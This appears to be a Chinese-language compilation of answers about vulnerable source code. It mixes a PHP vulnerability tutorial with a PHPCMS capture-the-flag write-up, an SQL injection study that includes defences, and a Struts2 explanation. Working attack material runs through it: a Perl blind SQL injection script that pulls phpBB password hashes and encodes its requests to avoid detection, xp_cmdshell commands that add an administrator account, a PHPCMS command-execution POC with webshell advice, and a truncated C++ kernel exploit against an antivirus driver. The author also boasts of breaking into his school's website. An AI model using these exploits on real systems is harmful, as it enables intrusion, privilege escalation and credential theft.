漏洞源碼2
從現在的網路安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在
很嚴重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.
我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,sql注入漏洞等幾種.當然,至於
COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多.那麼,我們就一個一個來分析一下怎樣利用這些漏洞吧!
首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由於不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這
些漏洞以WEB進程許可權在系統上執行任意命令.我們來看一個例子假設在a.php中有這樣一句代碼
php
include($include.***.php);
在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交
a.phpinclude=httpwebb.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似於
passthru(binls etc);的代碼.這樣,就可以執行一些有目的的攻擊了.(注web伺服器應該不能執行php代碼,不然就出問題了.相關詳情可以去看
如何對PHP程序中的常見漏洞進行攻擊).在這個漏洞方面,出狀況的很多,比方說PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接著,我們再來看一下腳本命令執行漏洞.這是由於對用戶提交的URI參數缺少充分過濾，提交包含惡意HTML代碼的數據，可導致觸發跨站腳
本攻擊，可能獲得目標用戶的敏感信息。我們也舉個例子在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充
分的過濾,我們可以通過這樣的代碼來達到攻擊的目的
httpwebindex.phpPHPSESSID=script...script在script裡面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了
PHP Transparent之外還有PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然後,我們就來看看文件泄露漏洞了.這種漏洞是由於對用戶提交參數缺少充分過濾，遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取
一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊
者提交包含多個'..'字元的數據，便可繞過WEB ROOT限制，以WEB許可權查看系統上的任意文件信息。比方說打入這樣一個地址
export.phpwhat=............etcpasswd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有myPHPNuke,McNews等等.
最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麼爽,以前還要手動注入,一直到小竹悟出SQL注入密笈(嘿
嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點
跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成ASCII,len
改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢不錯,俗話說樹大招分,像動網這樣的論壇在
asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也
是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞
,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.
這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好.
好了,我們還是來分析一下漏洞產生的原因吧.拿viewtopic.php頁面來說,由於在調用viewtopic.php時，直接從GET請求中獲得topic_id並
傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字元串用於獲得MD5密碼，獲得此密碼信息可以用於自動登錄或者
進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議
你看了再對著這里來看,受影響系統為phpBB 2.0.5和phpBB 2.0.4).
# $sql = SELECT p.post_id
# FROM . POSTS_TABLE . p, . SESSIONS_TABLE . s, . USERS_TABLE . u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1;
Rick提供了下面的這斷測試代碼
use IOSocket;
$remote = shift 'localhost';
$view_topic = shift 'phpBB2viewtopic.php';
$uid = shift 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print Trying to get password hash for uid $uid server $remote dbtype $dbtypen;
$p = ;
for($index=1; $index=32; $index++)
{
$socket = IOSocketINET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = tcp,
Type = SOCK_STREAM)
or die Couldnt connect to $remote$port [email=$@n]$@n[/email];
$str = GET $view_topic . sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . HTTP1.0nn;
print $socket $str;
print $socket Cookie phpBB2mysql_sid=1n; # replace this for pgsql or remove it
print $socket Host $remotenn;
while ($answer = $socket)
{
if ($answer =~ location.x23(d+)) # Matches the location viewtopic.phpp=num#num
{
$p .= chr ($1);
}
}
close($socket);
}
print nMD5 Hash for uid $uid is $pn;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $ilength($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) 1000;
if (int($j) % 2 $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return union select ord(substring(user_password, . $index . ,1)) from phpbb_users where user_id=$uid ;
} elsif ($dbtype eq 'pgsql')
{
return ; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users
u where u.user_id=$uid or false;
}
else
{
return ;
}
}
這斷代碼,我就不多做解釋了.作用是獲得HASH值.
看到這里,大家可能有點疑問,為什麼我前面講的那些改的函數怎麼沒有用到,我講出來不怕大家笑話其實網上很多站點有些頁面的查詢語句
看起來會是這樣
display.phpsqlsave=select++from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,這是真的,我還靠這個進過幾個大型網站.至於哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網路中心的看
不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!!
差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,MySQL對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql
資料庫中都不能奏效了. 一般我們常見的注入語句像這樣aaa.phpid=a' into outfile 'pass.txt或是aaa.phpid=a' into outfile 'pass.txt'
再進一步可以改成aaa.phpid=a' or 1=1 union select id,name,password form users into outfile 'ca.txt
這樣可以將資料庫數據導出為文件,然後可以查看.
或是這樣mode=',user_level='4
這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升許可權的做用.
其它的如' OR 1=1 -- 或者1' or 1='1則跟asp差不多.這里不多講了.在php裡面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.
其實大家可以看出來,上面那些分類歸根結底只有一個原因提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這里,就大致講一下
防範的方法吧.
首先,我個人認為最重要的一點是將magic_quotes_gpc高為ON,它的作用是將單引號,雙引號,反斜線,和空字元轉換為含有反斜線的字元,如
select from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字元串將被轉
換成這樣select from admin where username='a' and password='1' or 1='1'從而達到阻止注入的目的,事實也就是自動進行了addslashes
()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因為myslq4以下版本不支持子語句,而新版本的mysql又會
將magic_quotes_gpc選項默認為開.
解決包含文件漏洞用的方法就是要求程序員包含文件里的參數盡量不要使用變數，如果使用變數，就一定要嚴格檢查要包含的文件名，絕
對不能由用戶任意指定,建議設global_variables為off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外，如非特殊需要，一定要
關閉PHP的遠程文件打開功能。修改php.ini文件：allow_url_fopen = Off(注參見PHP安全問題：遠程溢出、DoS、safe_mode繞過漏洞).
還有一點我覺得很多網站都會有這個問題,就是沒有關錯誤顯示.輕一看可能沒什麼,但是一些盯了很久(用詞有點不對哦)的人就可以通過錯
誤提示來獲得如資料庫信息,網頁文件物理路徑等等.
2. 求一個有sql注入漏洞的mssql的網站源碼。
攻擊研究及防範措施
SQL-Based Web System Security——Structured Query Language InjectionLeak Attack Study And Defense Measure
SQL注入(SQL Injection)漏洞攻擊是目前網上最流行最熱門的黑客腳本攻擊方法之一，那什麼是SQL注入漏洞攻擊呢？它是指黑客利用一些Web應用程序（如：網站、論壇、留言本、文章發布系統等）中某些存在不安全代碼或SQL語句不縝密的頁面，精心構造SQL語句，把非法的SQL語句指令轉譯到系統實際SQL語句中並執行它，以獲取用戶名、口令等敏感信息，從而達到控制主機伺服器的攻擊方法。
1. SQL注入漏洞攻擊原理
1. 1 SQL注入漏洞攻擊實現原理
SQL（Structured Query Language）是一種用來和資料庫交互的語言文本。SQL注入的攻擊原理就是攻擊者通過Web應用程序利用SQL語句或字元串將非法的數據插入到伺服器端資料庫中，獲取資料庫的管理用戶許可權，然後將資料庫管理用戶許可權提升至操作系統管理用戶許可權，控制伺服器操作系統，獲取重要信息及機密文件。
SQL注入漏洞攻擊主要是通過藉助於HDSI、NBSI和Domain等SQL注入漏洞掃描工具掃描出Web頁面中存在的SQL注入漏洞，從而定位SQL注入點，通過執行非法的SQL語句或字元串達到入侵者想要的操作。下面以一段身份驗證的.NET代碼為例，說明一下SQL 注入攻擊的實現方法。
SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSet
tings["DBconnStrings"])；
string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'"；
DataSet userSet = new DataSet()；
SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn)；
userAdapter.Fill(userSet, "Users")；
Session["UserID"] =Txtusername.Text.ToString()；
Session["type"] =type.Text.ToString()；
Response.Redirect("/Myweb/admin/login.aspx")；
從上面的代碼中可以看出,程序在與資料庫建立連接得到用戶數據之後,直接將username的值通過session傳給login.aspx，沒有進行任何的過濾和處理措施, 直接用來構造SQL 語句, 其危險系數是非常高的, 攻擊者只要根據SQL 語句的編寫規則就可以繞過身份驗證，從而達到入侵的目的。
1. 2 SQL注入漏洞攻擊分析
SQL注入可以說是一種漏洞，也可以說是一種攻擊。當程序中的變數處理不當，沒有對用戶提交的數據類型進行校驗，編寫不安全的代碼，構造非法的SQL語句或字元串，都可能產生這個漏洞。
例如Web系統有一個login頁面，這個login頁面控制著用戶是否有權訪問，要求用戶輸入一個用戶名和口令，連接資料庫的語句為：
「select * from users where username = 'username' andpassword = 'password'」
攻擊者輸入用戶名為aa or 1=1口令為1234 or 1=1之類的內容。我們可以看出實際上攻擊者並不知道真正的用戶名、口令，該內容提交給伺服器之後，伺服器執行攻擊者構造出的SQL命令，但由於攻擊者輸入的內容非常特殊，所以最後得到的SQL命令變成：
「select * from users where username = 'aa' or 1=1 andpassword = '1234' or 1=1」；
伺服器執行查詢或存儲過程，將用戶輸入的身份信息和資料庫users表中真實的身份信息進行核對，由於SQL命令實際上已被修改，存在永遠成立的1=1條件，因此已經不能真正驗證用戶身份，所以系統會錯誤地授權攻擊者訪問。
SQL 注入是通過目標伺服器的80埠進行的，是正常的Web訪問，防火牆不會對這種攻擊發出警告或攔截。當Web伺服器以普通用戶的身份訪問資料庫時，利用SQL注入漏洞就可能進行創建、刪除、修改資料庫中所有數據的非法操作。而當資料庫以管理用戶許可權的身份進行登錄時，就可能控制整個資料庫伺服器。
SQL注入的方法很多，在以手動方式進行攻擊時需要構造各種各樣的SQL語句，所以一般攻擊者需要豐富的經驗和耐心，才能繞過檢測和處理，提交語句，從而獲得想要的有用信息。這個過程需要花費很多的時間，如果以這種手動方式進行SQL注入漏洞攻擊，許多存在SQL注入漏洞的ASP、JSP、PHP、java等網站就會安全很多了，不是漏洞不存在了，而是手動入侵者需要編程基礎，但現在攻擊者可以利用一些現成的黑客工具來輔助SQL注入漏洞攻擊，加快入侵的速度，使SQL注入變得輕而易舉。
由於SQL注入漏洞攻擊利用的是通用的SQL語法，使得這種攻擊具有廣泛性。理論上說，對於所有基於SQL語言的資料庫管理系統都是有效的，包括MSSQLServer、Oracle、DB2、Sybase和MySQL等。當然，各種系統自身的SQL擴展功能會有所不同，因此最終的攻擊代碼可能不盡相同。
1. 3 SQL注入漏洞攻擊過程
（1）繞過身份驗證
如一個login界面，需要輸入用戶名和口令，然後Post到另一個頁面，進行身份驗證,因此攻擊者只需在用戶名和口令的輸入框中都輸入aa or』1』=』1』的內容，那麼攻擊者就可以通過欺騙的驗證方式而直接進入下一個頁面，並擁有和正常登錄用戶一樣的全部特權。原因是什麼呢? 我們比較一下正常用戶登錄和攻擊者登錄時的兩種SQL語句：
1）正常用戶(如用戶名為admin，口令為1234567) ：
SQL= " selectfrom users where username = 』admin』and password= 』1234567』 "；
2）攻擊者(用戶名和口令都為aa or』1』=』1』) ：
SQL= " select * from users where username='aa or』1』=』1』'and password = ' aa or』1』=』1』'"；
可以看到由and連接的兩個條件都被一個永遠成立的1=1所代替，執行的結果為true，資料庫會認為條件恆成立，會返回一個true，讓攻擊者以合法身份登錄進入下一個頁面。
（2）執行非法操作
如一個查詢頁面select1.asp? id=1，編程人員原本設計意圖是顯示id為1的查詢信息，而攻擊者利用程序中沒有對id內容進行檢查的機制，插入自己的代碼。
從select1.asp中摘錄一段關鍵代碼：
SQL= " select *from photo where photoid= 'id'"；
可以看到，id沒有進行任何的處理，直接構成SQL語句並執行，而攻擊者在知道該系統資料庫中表名及欄位名的情況下，利用SQL語句特性（分號是將兩句SQL 語句分開的符號），直接向資料庫Tuser表中添加記錄：
select1.asp? id= 1;Insertinto Tuser (username,password,type) values ('hack','1234567','管理員')，然後攻擊者就可以直接用hack進行登錄了。通過這樣的方法，攻擊者還可以對系統做任何的事情，包括添加、刪除、修改系統資源的操作。
（3）執行系統命令
如果Web主機使用MSSQL資料庫管理系統，那麼攻擊者就可以用到xp_cmdshell這個擴展存儲過程，xp_cmdshell是一個非常有用的擴展存儲過程，用於執行系統命令，比如dir、net等，攻擊者可以根據程序的不同，提交不同的語句：
execmaster.dbo.xp_cmdshell " dir "；
exec master.dbo.xp_cmdshell" net user hack 1234567 /add "；
execmaster.dbo.xp_cmdshell " net localgroup administrators hack /add "；
這樣就可以向Web主機系統中成功添加了一個管理員帳戶。
2. SQL注入漏洞攻擊的檢測方式及方法
2. 1檢測方式
SQL注入漏洞攻擊檢測分為入侵前的檢測和入侵後的檢測。入侵前的檢測，可以通過手工方式，也可以使用SQL注入漏洞掃描工具軟體。檢測的目的是為預防SQL注入漏洞攻擊，而對於SQL注入漏洞攻擊後的檢測，主要是針對審計日誌的查看，SQL注入漏洞攻擊成功後，會在Web Service和資料庫的審計日誌中留下「痕跡」。
2. 2檢測方法
（1）動態SQL檢查
動態的SQL語句是一個進行資料庫查詢的強大的工具，但把它和用戶輸入混合在一起就使SQL注入成為了可能。將動態的SQL語句替換成預編譯的SQL或者存儲過程對大多數應用程序是可行的。預編譯的SQL或者存儲過程可以將用戶的輸入作為參數而不是命令來執行，這樣就限制了入侵者的行動。當然，它不適用於存儲過程中利用用戶輸入來生成SQL命令的情況。在這種情況下，用戶輸入的SQL命令仍可能得到執行，資料庫仍然存在SQL注入漏洞攻擊的危險。
（2）有效性校驗
如果一個輸入框只可能包括數字，那麼要通過驗證確保用戶輸入的都是數字。如果可以接受字母，檢查是不是存在不可接受的字元，那就需要設置字元串檢查功能。確保應用程序要檢查以下字元：分號、等號、破折號、括弧以及SQL關鍵字。
（3）數據表檢查
使用SQL注入漏洞攻擊工具軟體進行SQL注入漏洞攻擊後，都會在資料庫中生成一些臨時表。通過查看資料庫中最近新建的表的結構和內容，可以判斷是否曾經發生過SQL注入漏洞攻擊。
（4）審計日誌檢查
在Web伺服器中如果啟用了審計日誌功能，則Web Service審計日誌會記錄訪問者的IP地址、訪問時間、訪問文件等信息，SQL注入漏洞攻擊往往會大量訪問某一個頁面文件（存在SQL注入點的動態網頁），審計日誌文件會急劇增加，通過查看審計日誌文件的大小以及審計日誌文件中的內容，可以判斷是否發生過SQL注入漏洞攻擊事件；另外還可以通過查看資料庫審計日誌，查詢某個時間段是否有非法的插入、修改、刪除操作。
（5）其他
SQL注入漏洞攻擊成功後，入侵者往往會添加特權用戶（如：administrator、root、sa等）、開放非法的遠程服務以及安裝木馬後門程序等，可以通過查看用戶帳戶列表、遠程服務開啟情況、系統最近日期產生的一些文件等信息來判斷是否發生過入侵。
3. SQL注入漏洞攻擊檢測防範模型及措施
3. 1 防範模型
本人通過深入的學習研究，吸取前人的經驗成果，提出了一種通用的SQL注入漏洞攻擊檢測防範模型如圖1所示，本模型中所有檢測均在伺服器端進行。首先是校驗客戶端提交數據的有效性，自動識別該數據類型是否符合程序中設定的值，如果校驗未通過將禁止訪問，返回重新輸入數據並記錄該過程；其次將輸入的字元串類型與SQL注入規則庫字元串類型進行比對，檢測字元串類型是否合法（驗證是否存在SQL注入漏洞），若不合法也將禁止訪問，返回重新輸入數據並記錄該操作；最後檢測是否超過訪問許可權，如果未超過訪問許可權，就可以正常訪問頁面，若超過訪問許可權，除禁止訪問，返回重新輸入數據並記錄該操作外，同時發送Email給管理員，如果超過3次郵件告警管理員還未採取任何措施，那麼將通過手機簡訊方式進行告警，直到管理員採取防範措施為止。
圖1 SQL注入漏洞攻擊檢測防範模型
本模型的最大特點是自動將攻擊信息及時地傳遞給管理員，方便管理員及時做出響應。
3. 2 防範措施
SQL注入漏洞攻擊的防範方法有很多種，現階段總結起來有以下方法：
（1）數據有效性校驗。如果一個輸入框只可能包括數字，那麼要通過校驗確保用戶輸入的都是數字。如果可以接受字母，那就要檢查是不是存在不可接受的字元，最好的方法是增加字元復雜度自動驗證功能。確保應用程序要檢查以下字元：分號、等號、破折號、括弧以及SQL關鍵字。另外限製表單數據輸入和查詢字元串輸入的長度也是一個好方法。如果用戶的登錄名最多隻有10個字元，那麼不要認可表單中輸入10個以上的字元，這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
（2）封裝數據信息。對客戶端提交的數據進行封裝，不要將數據直接存入cookie中，方法就是在編程的代碼中，插入session、if、try、else，這樣可以有效地防止攻擊者獲取cookie中的重要信息。
（3）去除代碼中的敏感信息。將在代碼中存在的用戶名、口令信息等敏感欄位刪除，替換成輸入框。
如：SQL=" select from users where username = 』admin』and password= 』1234567』 "這樣顯然會暴露管理員的用戶名、口令信息。可以將其修改成SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"，這樣就安全了很多，入侵者也是不會輕易的就獲取到用戶名、口令信息。
（4）替換或刪除單引號。使用雙引號替換掉所有用戶輸入的單引號，這個簡單的預防措施將在很大程度上預防SQL注入漏洞攻擊，單引號時常會無法約束插入數據的Value，可能給予輸入者不必要的許可權。用雙引號替換掉單引號可以使大部分SQL注入漏洞攻擊失敗。
如：「select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'」顯然會得到與「select * from users where username='admin' and password= '1234567'」相同的結果。
（5）指定錯誤返回頁面。攻擊者有時從客戶端嘗試提交有害代碼和攻擊字元串，根據Web Service給出的錯誤提示信息來收集程序及伺服器的信息，從而獲取想得到的資料。應在Web Service中指定一個不包含任何信息的錯誤提示頁面。
（6）限制SQL字元串連接的配置文件。使用SQL變數，因為變數不是可以執行的腳本，即在Web頁面中將連接資料庫的SQL字元串替換成指定的Value，然後將Web.config文件進行加密，拒絕訪問。
（7）設置Web目錄的訪問許可權。將虛擬站點的文件目錄禁止遊客用戶（如：Guest用戶等）訪問，將User用戶許可權修改成只讀許可權，切勿將管理許可權的用戶添加到訪問列表。
（8）最小服務原則。Web伺服器應以最小許可權進行配置，只提供Web服務，這樣可以有效地阻止系統的危險命令，如ftp、cmd、vbscript等。
（9）鑒別信息加密存儲。將保存在資料庫users表中的用戶名、口令信息以密文形式保存，也可以對users表進行加密處理，這樣可以大大增加對鑒別信息訪問的安全級別。
（10）用戶許可權分離。應盡可能的禁止或刪除資料庫中sa許可權用戶的訪問，對不同的資料庫劃分不同的用戶許可權，這樣不同的用戶只能對授權給自己的資料庫執行查詢、插入、更新、刪除操作，就可以防止不同用戶對非授權的資料庫進行訪問。
4. 結束語
SQL注入漏洞攻擊在網上非常普遍，許多ASP、PHP論壇和文章管理系統、下載系統以及新聞系統都存在這個漏洞。造成SQL注入漏洞攻擊的主要原因是開發人員在系統開發的過程中編程不規范，沒有形成良好的編程習慣，問題的解決只有依賴於規范編程。此外，也可以使用現有的SQL注入漏洞掃描器對整個網站中的關鍵代碼進行掃描，查找網站頁面中存在的SQL注入點。對於有問題的頁面，可以及時刪除或更新。本文通過對SQL注入漏洞攻擊的方法、原理以及攻擊實施過程進行了闡述和總結，並給出了一些常見的SQL注入漏洞攻擊防範的方法。
3. 【墨者學院】：CMS系統漏洞分析溯源(第2題)
背景介紹
某單位需新上線了一個系統，安全工程師「墨者」負責對系統的安全檢測，確保該系統在上線後不存在安全漏洞。
實訓目標
1、了解並熟練使用linux命令；
2、了解PHPCMS的後台地址及其他相關漏洞資料；
3、了解html源碼的重要性。
解題方向
登錄後台後執行linux系統命令，查看web源碼。
靶場環境：可以看到使用了phpcms9.1.13版本的內容管理系統。
在網上可以找到，默認的後台登錄地址為/admin.php，其實在robots.txt文件中也能夠看到，應該養成查看robots.txt文件的習慣，裡面還是有一些有用的信息的。
打開admin.php鏈接，發現用戶和密碼都是已經默認填好的，所以直接登錄到後台管理裡面去。
在網上看到有三種方法：第一種，使用拓展裡面的木馬查殺進行key文件的查找，但是我沒有查到；第二種是利用遠程命令執行的方法來進行目錄的查看；第三種是在界面的模板裡面寫入一句話，再getshell。
第一種：phpcms後台低許可權任意命令執行。
這個漏洞是在烏雲中發布出來的，編號為WooYun-2015-0153630，具體的漏洞分析見： https://www.uedbox.com/post/15860/ 。
利用的POC是：index.php?0=[命令]&m=content&c=content&a=public_categorys&type=add&menuid=822;${system($_GET[0])}&pc_hash=vad6K3&from=block
先ls查看目錄，再查看key.txt文件即可。
第二種：一句話木馬寫入。
上面的方法只是查看目錄文件，並沒有拿到網站的許可權。寫入一句話，再用蟻劍來進行連接，然後拿許可權，這種方法才是比較通用的。
在界面中的index.html文件中寫入一句話，然後按index.php?m=search連接。雖然網上都可，但是不知道為啥我的蟻劍返回數據為空，失敗……
1.phpcms的這個後台低許可權命令執行漏洞，不太清楚具體適用於哪些版本，可以先記著，這個一個滲透點。
2.一般進入了cms後台管理，通用的方法就是找模板，寫入一句話，連接，上傳大馬。
4. 查殺源代碼漏洞
軟體？？？
你自己看代碼。用TXT打開了自己看。如果不懂，可以找懂的（別找我，我也不知道）
5. 國外關於漏洞源碼方面的研究有哪些
1 文件檢查：檢查dex、res文件是否存在源代碼、資源文件被竊娶替換等安全問題。 2 漏洞掃描：掃描代碼是否使用混淆，存在安全漏洞。檢測簽名、XML主配文件進行安全檢查,是否容易被靜態注入、嵌入惡意代碼。
6. 源代碼檢測軟體 漏洞多，開發怎麼辦
1、讓開發修復；
2、使用安全防禦服務，比如：創宇盾。有一項功能就是：虛擬補丁服務，採用協同防禦的方式修復漏洞。
這樣可以節省你們開發的時間。
7. 求下面struts2漏洞攻擊代碼詳解！！
這有什麼執行流程的，stauts的老毛病了，解析ognl，開始#_memberAccess['allowStaticMethodAccess']')(meh)=true，設置為true，允許通過地址欄執行方法，然後執行 java.lang.Runtime.getRuntime().exit(1);這一句相當於關閉這個web應用。就推退出tomcat了。
8. 瑞星漏洞門事件的瑞星漏洞測試及研究C++源代碼
#include stdafx.h
#include windows.h
enum { SystemMoleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Mole[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ;
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;
if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hMole,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hMole,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
